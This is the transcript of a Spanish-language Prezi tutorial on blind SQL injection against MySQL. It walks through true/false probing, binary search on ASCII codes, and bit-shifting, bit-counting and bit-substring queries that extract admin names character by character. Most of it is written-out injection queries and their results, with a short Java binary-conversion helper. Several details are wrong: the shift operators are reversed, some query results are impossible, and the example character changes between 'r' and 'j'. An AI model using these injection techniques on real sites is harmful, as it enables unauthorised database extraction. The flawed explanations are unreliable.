Loading presentation...

Present Remotely

Send the link below via email or IM

Copy

Present to your audience

Start remote presentation

  • Invited audience members will follow you as you navigate and present
  • People invited to a presentation do not need a Prezi account
  • This link expires 10 minutes after you close the presentation
  • A maximum of 30 users can follow your presentation
  • Learn more about this feature in our knowledge base article

Do you really want to delete this prezi?

Neither you, nor the coeditors you shared it with will be able to recover it again.

DeleteCancel

Make your likes visible on Facebook?

Connect your Facebook account to Prezi and let your likes appear on your timeline.
You can change this under Settings & Account at any time.

No, thanks

Blind SQLi + BitShifting

No description
by

julianstafari

on 21 March 2013

Comments (0)

Please log in to add your comment.

Report abuse

Transcript of Blind SQLi + BitShifting

Blind SQLi + BitShifting
@julianstafari
julianstafari@gmail.com
http://greydotsec.org ¿Blind SQL Injection?
Detectando Un Blind SQLi
Binary Search SQLi
Analisis De Binary Search SQLi Technique
Apoyo con Python 2.7.3
Que Es El BitShifting
Analisis De BitShifting
Facilitando La Tarea En Java
Bit Shifting Classic
Bit Counting Attack
Bit SubString Attack ¿Blind Sql Injection?

Blind SQL Injection es idéntica a la SQL Injection, excepto que cuando el atacante intenta explotar una aplicación, en lugar de recibir un Mensaje De Error, se consigue una pagina genérica especificada por el desarrollador de la misma.

La forma mas usual de este ataque es segmentar la cadena para obtener los caracteres individuales en su valor Decimal asignado por los valores ASCII.

Esto hace mas DIFICIL la tarea pero no IMPOSIBLE.

Los caracteres ASCII usan solo 7 bits (Rango de 0 a 127) pero las codificaciónes de ASCII usan un bit mas Latín 1 en MySQL esta por defecto Detectando un Blind SQLi

Consiste en hacer SQL statements para obtener TRUE o FALSE.

Es muy común que cuando no se pueda seguir con una SQLi se trate de un Blind SQLi.

En concreto: Es una técnica utilizada para realizar SQLi pero los resultados no son visibles.

Explotable

select name, email, nick from forum_users where id=7 and 7=7 --> Verdadero
select name, email, nick from forum_users where id=7 and 7=99 --> Falso Ejemplo Blind SQLi:

Sacando el user name de la base de datos:
select substr(user(),1,1); --> r
select substr(user(),2,1); --> o
select substr(user(),3,1); --> o
select substr(user(),4,1); --> t

Se segmenta la String con Substring y se indica que muestre X numero de carácter y hasta la X posición.

Sacando información sobre un tabla de la base de datos:

select substr(nombre,1,1) from admins;
select substr(nombre,2,1) from admins;
select substr(nombre,3,1) from admins;
select substr(nombre,4,1) from admins;
select substr(nombre,5,1) from admins; FALSO

No podríamos sacar información a una Blind SQL con esto.
Recordar que en ese tipo de inyecciones si es TRUE carga normal la web y si es FALSE no carga correctamente.

Ahora si un consulta aplicable para los Blind SQL:
select ascii(substr(nombre,1,1)) from admins; --> 106

Pero de nuevo, no podriamos visualizar; modifiquemos un poco:
select ascii(substr(nombre,1,1)) > 150 from admins; --> 0 (FALSE)
select ascii(substr(nombre,1,1)) < 150 from admins; ---> 1 (TRUE)
select ascii(substr(nombre,1,1)) < 100 from admins; --> 0 (FALSE)
select ascii(substr(nombre,1,1)) <130 from admins; --> 1 (TRUE)
select ascii(substr(nombre,1,1)) < 115 from admins; --> 1 (TRUE)
select ascii(substr(nombre,1,1)) < 110 from admins; --> 0 (FALSE)
select ascii(substr(nombre,1,1)) = 114 from admins; --> 1 (TRUE)
Dec ASCII --> 114 = 'r' Binary Search SQLi

Es una variación de las muchas ticónicas que existen en un Blind SQLi.

El Binary Search consiste en la búsqueda de dicho valor en el rango de 8 bits (0 a 255) que comprende todo los valores en código ASCII.
Se divide el rango de búsqueda y se comprueba si el dato esta dentro del segmento seleccionado.



select name, email, nick from forum_users where id=7 and 7=7 --> Verdadero
Se muestra con normalidad la pagina
select name, email, nick from forum_users where id=7 and 7=99 --> Falso
No se muestra con normalidad la pagina Análisis de Binary Search SQLi Technique

select name, email, nick from forum_users where id=7 and ascii(substring(nombre,1,1)) > 95;

Apoyándonos con Python para entender lo anterior.

Obteniendo el valor de los valores en ascii

MySQL --> ascii()
Python --> ord()

Obteniendo el largo de la cadena

select lenght(nombre) from admins limit 1)) >10 ;
MySQL --> lenght()
Python --> len()

Dividir el rango de búsqueda

substring(user(),1,1)

Comprobando si el valor se encuentra dentro del segmento seleccionado
> 95; o < 95; Que es el BitShifting

Técnica "alternativa" a Binary Search de los Blind SQLi

Consiste en hacer un slide (recorrer) en bits (binario) la representacion de un carácter ASCII y obtener así el valor.

Se puede realizar el slide de bits a la derecha (<<) o izquierda (>>) por igual.

Este procedimiento se repite hasta obtener los 8 bits del caracter ASCII y saber su representacion.

Y este procedimiento se repite hasta obtener el string completo.
Tabla
Campo
User
Password
ID Análisis Del BitShifting

La representación de la letra " z "

Valor de " z " en ascii = 122

Representación del ascii 122 en binario = 01111010

Binary Posicionamient Resultado Decimal
01111010 >> 7 = 00000000 0
01111010 >> 6 = 00000001 1
01111010 >> 5 = 00000011 3
01111010 >> 4 = 00000111 7
01111010 >> 3 = 00001111 15
01111010 >> 2 = 00011110 30
01111010 >> 1 = 00111101 61
01111010 >> 0 = 01111010 122 Facilitando La Tarea En Java import java.util.Scanner;

public class convert {
public static void main(String[] args) {

Scanner teclado = new Scanner(System.in);
String s = teclado.next();
byte[] bytes = s.getBytes();
StringBuilder binary = new StringBuilder();
for (byte b : bytes){
int val = b;
for (int i = 0; i < 8; i++){
binary.append((val & 128) == 0 ? 0 : 1);
val <<= 1;
}
binary.append(' ');
}
System.out.println("Largo del string " + s + ": "+ s.length() + "\n" + "\'" + s + "' to binary: " + binary);

}

} BitShifting Clasico

Evolucion Del Ataque




select subtring(nombre,1,1) from admins;
Resultado de la consulta = j
select (ascii(substr(nombre,1,1))>>7) from admins;
Resultado de la consulta = 114
select bin(ascii(substr(nombre,1,1))) from admins;
Resultado de la consulta = 01101010
select bin(ascii(substr(nombre,1,1))>>7) from admins;
Resultado de la consulta = 0
select bin(ascii(substr(nombre,1,1))>>7)=0 from admins;
Resultado de la consulta = 0 Bit Counting Attack

Se utiliza la función bit_count() para contar los bits "TRUE" (1) en el largo asignado en la consulta.

Ejemplo:

select bit_count(ascii(substr(nombre,1,1))>>7) from admins;
Resultado de la consulta = 0
select bit_count(ascii(substr(nombre,1,1))>>6) from admins;
Resultado de la consulta = 1
select bit_count(ascii(substr(nombre,1,1))>>5) from admins;
Resultado de la consulta = 2
select bit_count(ascii(substr(nombre,1,1))>>4) from admins;
Resultado de la consulta = 3

Se continua así hasta terminar los 8 bits del caracter buscado. Bit SubString Attack

Consiste en pedir el substring del valor binario de la conversión de ascii del substring y compararlo con TRUE y de esta forma muestra el carácter solicitado.

select substr(bin(ascii(substr(nombre,1,1))),1,1)=TRUE from admins;
Resultado de la consulta = 1
select substr(bin(ascii(substr(nombre,1,1))),2,1)=TRUE from admins;
Resultado de la consulta = 1
select substr(bin(ascii(substr(nombre,1,1))),3,1)=TRUE from admins;
Resultado de la consulta =1
select substr(bin(ascii(substr(nombre,1,1))),4,1)=TRUE from admins;
Resultado de la consulta = 0
select substr(bin(ascii(substr(nombre,1,1))),5,1)=TRUE from admins;
Resultado de la consulta = 0

Se continua así hasta terminar los 8 bits del caracter buscado. Binary Search Bit Counting Attack Bit SubString Attack Blind SQLi Bit Shifting SQL Advance Queries @julianstafari
julianstafari@gmail.com
http://greydotsec.org
Full transcript